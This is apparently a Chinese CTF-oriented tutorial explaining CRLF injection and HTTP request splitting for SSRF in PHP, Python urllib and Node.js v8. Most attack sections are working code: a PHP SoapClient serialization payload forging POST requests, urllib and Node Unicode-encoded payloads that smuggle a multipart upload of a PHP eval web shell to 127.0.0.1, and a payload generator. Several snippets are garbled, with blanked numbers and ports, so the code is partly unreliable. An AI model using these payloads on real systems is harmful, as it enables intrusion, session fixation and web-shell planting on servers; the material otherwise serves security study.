天天看點

HTTP響應拆分攻擊(CRLF Injection)

下面太亂,建議看這裡:https://www.anquanke.com/post/id/240014

前言

前幾天遇到了幾個使用 CRLF Injection 進行 SSRF 的題目,感覺十分有意思,便抽空自己研究了研究。

CRLF Injection 最大的用處便是任意插入惡意的 HTTP 頭,甚至直接在原始請求中構造一個新的HTTP請求,像這樣的功能如果與 SSRF 漏洞相結合那對 SSRF 來說豈不是如虎添翼?

下面我們将對 CRLF 與 CRLF Injection 漏洞的概念進行簡單的介紹,并對PHP、Python和NodeJS中的存在的 CRLF Injection 進行詳細的講解,然後對 CRLF Injection 在 SSRF 中攻擊内網應用做了簡單的研究與分析,最後給出了幾個 CTF 中的實戰例題。

CRLF 與 CRLF Injection 漏洞介紹

CRLF 指的是回車符(CR,ASCII 13,\r,%0d)和換行符(LF,ASCII 10,\n,%0a)的簡稱(\r\n)。在《HTTP | HTTP封包》一文中,我們可以了解到HTTP封包的結構:HTTP封包以狀态行開始,跟在後面的是HTTP首部(HTTP Header),首部由多個首部字段構成,每行一個首部字段,HTTP首部後是一個空行,然後是封包主體(HTTP Body)。狀态行和首部中的每行以CRLF結束,首部與主體之間由一空行分隔。或者了解為首部中每個首部字段以一個CRLF分隔,首部和主體由兩個CRLF分隔。

在HTTP協定中,HTTP Header 部分與 HTTP Body 部分是用兩個CRLF分隔的,浏覽器就是根據這兩個CRLF來取出HTTP 内容并顯示出來。是以,一旦我們能夠控制 HTTP 消息頭中的字元,注入一些惡意的換行,這樣我們就能注入一些惡意的HTTP Header,如會話Cookie,甚至可以注入一些HTML代碼。這就是CRLF注入漏洞的核心原理。

在實際應用中,如果Web應用沒有對使用者輸入做嚴格驗證,便會導緻攻擊者可以輸入一些惡意字元。攻擊者一旦向請求行或首部中的字段注入惡意的CRLF,就能注入一些首部字段或封包主體,并在響應中輸出,是以CRLF注入漏洞又稱為HTTP響應拆分漏洞(HTTP Response Splitting),簡稱HRS。

Location 字段的 302 跳轉

舉個例子,一般網站會在HTTP頭中用

Location: http://baidu.com

這種方式來進行302跳轉,如果我們能控制

Location:

後面的某個網址的URL,就可以進行HRS攻擊。

測試代碼:

<?php
if(isset($_GET["url"])){
  header("Location: " . $_GET["url"]);
    exit;
}
?>
           

這段代碼的意思是:當條件滿足時,将請求包中的url參數值拼接到Location字元串中,并設定成響應頭發送給用戶端。

首先我們輸入正常的url:

/?url=https://whoamianony.top
           

得到的一個正常的302跳轉包的響應頭是這樣:

HTTP/1.1  
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content- Type: text/html
Content-Length: 154 
Connection: close
Location: https://whoamianony.top
           

但如果我們抓包,将輸入的URL改為

/url=https://whoamianony.top%0d%0aPHPSESSID=whoami

,注入了一個換行。将修改後的請求包送出給伺服器端,檢視伺服器端的響應。此時的傳回包的響應頭就會變成這樣:

HTTP/1.1  
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content- Type: text/html
Content-Length: 154 
Connection: close
Location: https://whoamianony.top
Set-Cookie: PHPSESSID=whoami
           

我們可以發現響應頭首部中多了個Set-Cookie字段。這就證明了該系統存在CRLF注入漏洞,因為我們輸入的惡意資料,作為響應首部字段傳回給了用戶端。這個時候我們就給通路者設定了一個SESSION,造成了一個“會話固定漏洞”。

這是由于,此時伺服器端接收到的url參數值是我們修改後的:

https://whoamianony.top%d%aSet-Cookie: PHPSESSID=whoami
           

在url參數值拼接到Location字元串中,設定成響應頭後,響應包此時應該是如下這樣的:

HTTP/1.1  
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content- Type: text/html
Content-Length: 154 
Connection: close
Location: https://whoamianony.top%0d%0aSet-Cookie: PHPSESSID=whoami
           

但是,%0d和%0a分别是CR和LF的URL編碼。前面我們講到,HTTP規範中,行以CRLF結束。是以當檢測到%0d%0a後,就認為Location首部字段這行結束了,Set-Cookie就會被認為是下一行,如下所示:

HTTP/1.1  
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content- Type: text/html
Content-Length: 154 
Connection: close
Location: https://whoamianony.top
Set-Cookie: PHPSESSID=whoami
           

而我們構造的Set-Cookie字元在HTTP中是一個設定Cookie的首部字段,這個時候就會将PHPSESSID=whoami設定成Cookie。

測試的用例大家可能會覺得這漏洞沒什麼危害性,但試想一下:利用漏洞,注入一個CRLF控制使用者的Cookie,或者注入兩個CRLF,控制傳回給用戶端的主體,該漏洞的危害不亞于XSS。

但是目前通過 Location 字段的 302 跳轉進行 CRLF 注入這個漏洞已經被修複了。我們繼續往下看。

PHP fsockopen() 函數

fsockopen($hostname,$port,$errno,$errstr,$timeout)

用于打開一個網絡連接配接或者一個Unix 套接字連接配接,初始化一個套接字連接配接到指定主機(hostname),實作對使用者指定url資料的擷取。該函數會使用socket跟伺服器建立tcp連接配接,進行傳輸原始資料。

fsockopen()将傳回一個檔案句柄,之後可以被其他檔案類函數調用(例如:fgets(),fgetss(),fwrite(),fclose()還有feof())。如果調用失敗,将傳回false。

測試代碼:

<?php
$host=$_GET['url'];
$fp = fsockopen($host, , $errno, $errstr, );
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, );
    }
    fclose($fp);
}
?>
           

首先我們嘗試通路正常的url:

/?url=:
           

VPS 上監聽到的請求:

HTTP響應拆分攻擊(CRLF Injection)

在 Host 頭部注入

下面我們嘗試插入 CRLF:

/?url=:%d%aSet-Cookie: PHPSESSID=whoami
           
HTTP響應拆分攻擊(CRLF Injection)

這是由于,此時服務端接收到的url參數值是我們修改後的:

/?url=:%d%aSet-Cookie: PHPSESSID=whoami
           

在url參數值拼接到 Host 字段值中,設定成響應頭後,響應包此時應該是如下這樣的:

GET / HTTP/1.1
Host: 47.101.57.72:4000%0d%0aSet-Cookie: PHPSESSID=whoami
Connection: Close
           

前面我們講到,HTTP規範中,行以CRLF結束。是以當檢測到%0d%0a後,就認為 Host 首部字段這行結束了,Set-Cookie就會被認為是下一行,如下所示:

GET / HTTP/1.1
Host: 47.101.57.72:4000
Set-Cookie: PHPSESSID=whoami
Connection: Close
           

而我們構造的 Set-Cookie 字元在 HTTP 中是一個設定 Cookie 的首部字段,這個時候就會将 PHPSESSID=whoami 設定成 Cookie。

PHP SoapClient 類

PHP 的内置類 SoapClient 是一個專門用來通路web服務的類,可以提供一個基于SOAP協定通路Web服務的 PHP 用戶端。該内置類有一個

__call

方法,當

__call

方法被觸發後,它可以發送 HTTP 和 HTTPS 請求。正是這個

__call

方法,使得 SoapClient 類可以被我們運用在 SSRF 中。

該類的構造函數如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
           
  • 第一個參數是用來指明是否是wsdl模式,将該值設為null則表示非wsdl模式。
  • 第二個參數為一個數組,如果在wsdl模式下,此參數可選;如果在非wsdl模式下,則必須設定location和uri選項,其中location是要将請求發送到的SOAP伺服器的URL,而 uri 是SOAP服務的目标命名空間。

知道上述兩個參數的含義後,我們首先來發起一個正常的HTTP請求:

<?php
$a = new SoapClient(null,array('location'=>'http://47.101.57.72:4000/aaa', 'uri'=>'http://47.101.57.72:4000'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便調用對象中不存在的方法, 觸發__call方法進行ssrf
?>
           

VPS 上監聽到了 POST 請求:

HTTP響應拆分攻擊(CRLF Injection)

下面我們嘗試 CRLF 注入,插入任意的 HTTP 頭。

在 User-Agent 頭部注入

<?php
$target = 'http://47.101.57.72:4000/';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nSet-Cookie: PHPSESSID=whoami", 'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便調用對象中不存在的方法, 觸發__call方法進行ssrf
?>
           

如下圖所示,VPS 上監聽到了請求,成功在HTTP頭中插入了一個我們自定義的 cookie:

HTTP響應拆分攻擊(CRLF Injection)

這是由于,此時服務端接收到我們修改後的請求後,響應包此時應該是如下這樣的:

POST / HTTP/1.1
Host: 47.101.57.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI%0d%0aSet-Cookie: PHPSESSID=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365
           

前面我們講到,HTTP規範中,行以CRLF結束。是以當檢測到%0d%0a後,就認為 User-Agent 首部字段這行結束了,Set-Cookie就會被認為是下一行,如下所示:

POST / HTTP/1.1
Host: 47.101.57.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI
Set-Cookie: PHPSESSID=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365
           

而我們構造的 Set-Cookie 字元在 HTTP 中是一個設定 Cookie 的首部字段,這個時候就會将 PHPSESSID=whoami 設定成 Cookie。

發送 POST 資料包

在HTTP協定中,HTTP Header 部分與 HTTP Body 部分是用兩個CRLF分隔的,是以我們要發送 POST 資料就要插入兩個CRLF。

對于如何發送POST的資料包,這裡面還有一個坑,就是

Content-Type

的設定,因為我們要送出的是POST資料,是以

Content-Type

的值我們要設定為

application/x-www-form-urlencoded

,這裡如何修改

Content-Type

的值呢?由于

Content-Type

User-Agent

的下面,是以我們可以通過

SoapClient

來設定

User-Agent

,将原來的

Content-Type

擠下去,進而再插入一個新的

Content-Type

測試代碼如下:

<?php
$target = 'http://47.101.57.72:4000/';
$post_data = 'data=whoami';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'WHOAMI^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a();    // 随便調用對象中不存在的方法, 觸發__call方法進行ssrf
?>
           

VPS 上監聽到了 POST 資料:

HTTP響應拆分攻擊(CRLF Injection)

這是由于服務端接收到我們修改後的請求後,響應包此時應該是如下這樣的:

POST / HTTP/1.1
Host: 47.101.57.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aCookie: PHPSESSID=3stu05dr969ogmprk28drnju93%0d%0aContent-Length: 11%0d%0a%0d%0adata=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365
           

前面我們講到,HTTP規範中,HTTP 首部中每個首部字段以一個CRLF分隔,首部和主體由兩個CRLF分隔。這樣,當%0d%0a和%0d%0a%0d%0a分别被解析為 HTTP 首部字段的結尾和 HTTP 首部的結尾,最終的HTTP請求便成了如下這樣:

POST / HTTP/1.1
Host: 47.101.57.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93
Content-Length: 11
data=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365

           

Python urllib CRLF 注入漏洞(CVE-2019-9740)

Python是一套開源的、面向對象的程式設計語言。該語言具有可擴充、支援子產品和包、支援多種平台等特點。urllib是其中的一個用于處理URL的子產品。urllib2是其中的一個用于擷取URL(統一資源定位符)的子產品。

Python 2.x版本至2.7.16版本中的urllib2和Python 3.x版本至3.7.2版本中的urllib存在注入漏洞。該漏洞源于使用者輸入構造指令、資料結構或記錄的操作過程中,網絡系統或産品缺乏對使用者輸入資料的正确驗證,未過濾或未正确過濾掉其中的特殊元素,導緻系統或産品産生解析或解釋方式錯誤。簡單來說,就是urlopen()處理URL的時候沒有考慮換行符,導緻我們可以在正常的HTTP頭中插入任意内容。

該漏洞早在2016年就被爆出(CVE-2016-5699),在之後的一段時間裡不斷爆出了python其他版本也存在該漏洞(CVE-2019-9740、CVE-2019-9947)。

影響範圍:

  • Python 2.x版本至2.7.16版本中的urllib2
  • Python 3.x版本至3.7.2版本中的urllib

在 HTTP 狀态行注入惡意首部字段

測試代碼:

#!python
#!/usr/bin/env python3
import urllib
import urllib.request
import urllib.error
# url = "http://47.101.57.72:4000
url = "http://47.101.57.72:4000?a=1 HTTP/1.1\r\nCRLF-injection: True\r\nSet-Cookie: PHPSESSID=whoami"
# ?a=1 後面的那個HTTP/1.1是為了閉合正常的HTTP狀态行
try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)
           

執行代碼後,VPS 上會監聽到如下HTTP頭:

HTTP響應拆分攻擊(CRLF Injection)

如上圖所示,成功引發了CRLF漏洞。

這是由于服務端接收到我們修改後的請求後,響應包此時應該是如下這樣的:

GET /?a=1 HTTP/1.1%0d%0aCRLF-injection: True%0d%0aSet-Cookie: PHPSESSID=whoami HTTP/1.1
Accept-Encoding: identity
Host: 47.101.57.72:4000
User-Agent: Python-urllib/3.7
Connection: close
           

此時,HTTP 狀态行中出現了%0d%0a,便會被解析為HTTP首部字段的結束并成功插入我們定制的HTTP首部字段。最終HTTP請求變成了下面這樣:

GET /?a=1 HTTP/1.1
CRLF-injection: True
Set-Cookie: PHPSESSID=whoami HTTP/1.1
Accept-Encoding: identity
Host: 47.101.57.72:4000
User-Agent: Python-urllib/3.7
Connection: close
           

在 HTTP 狀态行注入完整 HTTP 請求

首先,由于 Python Urllib 的這個 CRLF 注入點在 HTTP 狀态行,是以如果我們要注入完整的 HTTP 請求的話需要先閉合狀态行中

HTTP/1.1

,即保證注入後有正常的 HTTP 狀态行。其次為了不讓原來的

HTTP/1.1

和 Host 字段影響我們新構造的請求,我們還需要再構造一次

GET /

閉合原來的 HTTP 請求。

假設目标主機存在SSRF,需要我們在目标主機本地上傳檔案。下面嘗試構造如下這個檔案上傳的完整 POST 請求:

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"

------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

           

編寫腳本構造payload:

payload = ''' HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 435
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream
<?php eval($_POST[whoami]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
GET / HTTP/1.1
test:'''.replace("\n","\\r\\n")
print(payload)
# 輸出: HTTP/1.1\r\n\r\nPOST /upload.php HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 435\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: PHPSESSID=nk67astv61hqanskkddslkgst4\r\nConnection: close\r\n\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n100000\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="uploaded"; filename="shell.php"\r\nContent-Type: application/octet-stream\r\n\r\n<?php eval($_POST[whoami]);?>\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="Upload"\r\n\r\nUpload\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6--\r\n\r\nGET / HTTP/1.1\r\ntest:
           

然後構造請求:

#!python
#!/usr/bin/env python3
import urllib
import urllib.request
import urllib.error
# url = "http://47.101.57.72:4000
url = 'http://47.101.57.72:4000?a=1 HTTP/1.1\r\n\r\nPOST /upload.php HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 435\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: PHPSESSID=nk67astv61hqanskkddslkgst4\r\nConnection: close\r\n\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n100000\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="uploaded"; filename="shell.php"\r\nContent-Type: application/octet-stream\r\n\r\n<?php eval($_POST[whoami]);?>\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="Upload"\r\n\r\nUpload\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6--\r\n\r\nGET / HTTP/1.1\r\ntest:'
# ?a=1 後面的那個HTTP/1.1是為了閉合正常的HTTP狀态行
try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)
           
HTTP響應拆分攻擊(CRLF Injection)

如上圖所示,成功構造出了一個檔案上傳的POST請求,像這樣的POST請求可以被我們用于 SSRF。下面我們分析一下整個攻擊的過程。

原始請求資料如下:

GET / HTTP/1.1
Host: 47.101.57.72:4000
           

當我們插入CRLF資料後,HTTP請求資料變成了:

GET / HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
 HTTP/1.1
Host: 47.101.57.72:4000

           

上次請求包的Host字段和狀态行中的

HTTP/1.1

就單獨出來了,是以我們再構造一個請求把他閉合:

GET / HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
GET / HTTP/1.1
test: HTTP/1.1
Host: 47.101.57.72:4000

           

NodeJS 中的 CRLF Injection

2018 年有研究者發現,當Node.js使用

http.get

向特定路徑發出HTTP請求時,發出的請求實際上被定向到了不一樣的路徑!

HTTP響應拆分攻擊(CRLF Injection)

深入研究一下,發現這個問題是由Node.js将HTTP請求寫入路徑時,對Unicode字元的有損編碼引起的。

HTTP 請求路徑中的 Unicode 字元損壞

雖然使用者發出的 HTTP 請求通常将請求路徑指定為字元串,但Node.js最終必須将請求作為原始位元組輸出。JavaScript支援unicode字元串,是以将它們轉換為位元組意味着選擇并應用适當的Unicode編碼。對于不包含主體的請求,Node.js預設使用“latin1”,這是一種單位元組編碼字元集,不能表示高編号的Unicode字元,例如🐶這個表情。是以,當我們的請求路徑中含有多位元組編碼的Unicode字元時,會被截斷取最低位元組,比如

\u0130

就會被截斷為

\u30

HTTP響應拆分攻擊(CRLF Injection)

Unicode 字元損壞造成的 HTTP 拆分攻擊

剛才示範的那個 HTTP 請求路徑中的 Unicode 字元損壞看似沒有什麼用處,但它可以在 nodejs 的 HTTP 拆分攻擊中大顯身手。

由于nodejs的HTTP庫包含了阻止CRLF的措施,即如果你嘗試發出一個URL路徑中含有回車、換行或空格等控制字元的HTTP請求是,它們會被URL編碼,是以正常的CRLF注入在nodejs中并不能利用:

> var http = require("http");
> http.get('http://47.101.57.72:4000/\r\n/WHOAMI').output
[ 'GET /%0D%0A/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
           
HTTP響應拆分攻擊(CRLF Injection)

但不幸的是,上述的處理Unicode字元錯誤意味着可以規避這些保護措施。考慮如下的URL,其中包含一些高編号的Unicode字元:

> 'http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI'
http://47.101.57.72:4000/čĊ/WHOAMI
           

當 Node.js v8 或更低版本對此URL發出

GET

請求時,它不會進行編碼轉義,因為它們不是HTTP控制字元:

> http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
           

但是當結果字元串被編碼為 latin1 寫入路徑時,這些字元将分别被截斷為 “\r”(%0d)和 “\n”(%0a):

> Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString()
'http://47.101.57.72:4000/\r\n/WHOAMI'
           
HTTP響應拆分攻擊(CRLF Injection)

可見,通過在請求路徑中包含精心選擇的Unicode字元,攻擊者可以欺騙Node.js并成功實作CRLF注入。

不僅是CRLF,所有的控制字元都可以通過這個構造出來。下面是我列舉出來的表格,第一列是需要構造的字元,第二列是可構造出相應字元的高編号的Unicode碼,第三列是高編号的Unicode碼對應的字元,第四列是高編号的Unicode碼對應的字元的URL編碼:

字元 可由以下Unicode編碼構造出 Unicode編碼對應的字元 Unicode編碼對應的字元對應的URL編碼
回車符 \r \u010d č %C4%8D
換行符 \n \u010a Ċ %C4%8A
空格 \u0120 Ġ %C4%A0
反斜杠 \ \u0122 Ģ %C4%A2
單引号 ‘ \u0127 ħ %C4%A7
反引号 ` \u0160 Š %C5%A0
歎号 ! \u0121 ġ %C4%A1

這個bug已經在Node.js10中被修複,如果請求路徑包含非Ascii字元,則會抛出錯誤。但是對于 Node.js v8 或更低版本,如果有下列情況,任何發出HTTP請求的伺服器都可能受到通過請求拆實作的SSRF的攻擊:

  • 接受來自使用者輸入的Unicode資料
  • 并将其包含在HTTP請求的路徑中
  • 且請求具有一個0長度的主體(比如一個

    GET

    或者

    DELETE

在 HTTP 狀态行注入惡意首部字段

由于 NodeJS 的這個 CRLF 注入點在 HTTP 狀态行,是以如果我們要注入惡意的 HTTP 首部字段的話還需要閉合狀态行中

HTTP/1.1

,即保證注入後有正常的 HTTP 狀态行:

> http.get('http://47.101.57.72:4000/\u0120HTTP/1.1\u010D\u010ASet-Cookie:\u0120PHPSESSID=whoami').output
[ 'GET /ĠHTTP/1.1čĊSet-Cookie:ĠPHPSESSID=whoami HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
           
HTTP響應拆分攻擊(CRLF Injection)

如上圖所示,成功構造出了一個 Set-Cookie 首部字段,雖然後面還有一個

HTTP/1.1

,但我們根據該原理依然可以将其閉合:

> http.get('http://47.101.57.72:4000/\u0120HTTP/1.1\u010D\u010ASet-Cookie:\u0120PHPSESSID=whoami\u010D\u010Atest:').output
[ 'GET /ĠHTTP/1.1čĊSet-Cookie:ĠPHPSESSID=whoamičĊtest: HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
           
HTTP響應拆分攻擊(CRLF Injection)

這樣,我們便可以構造 “任意” 的HTTP請求了。

在 HTTP 狀态行注入完整 HTTP 請求

首先,由于 NodeJS 的這個 CRLF 注入點在 HTTP 狀态行,是以如果我們要注入完整的 HTTP 請求的話需要先閉合狀态行中

HTTP/1.1

,即保證注入後有正常的 HTTP 狀态行。其次為了不讓原來的

HTTP/1.1

影響我們新構造的請求,我們還需要再構造一次

GET /

閉合原來的 HTTP 請求。

假設目标主機存在SSRF,需要我們在目标主機本地上傳檔案。我們需要嘗試構造如下這個檔案上傳的完整 POST 請求:

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"

------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

           

為了友善,我們将這個POST請求裡面的所有的字元包括控制符全部用上述的高編号Unicode碼表示:

payload = ''' HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
GET / HTTP/1.1
test:'''.replace("\n","\r\n")
def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(+ord(i))
    return ret
payload = payload_encode(payload)
print(payload)
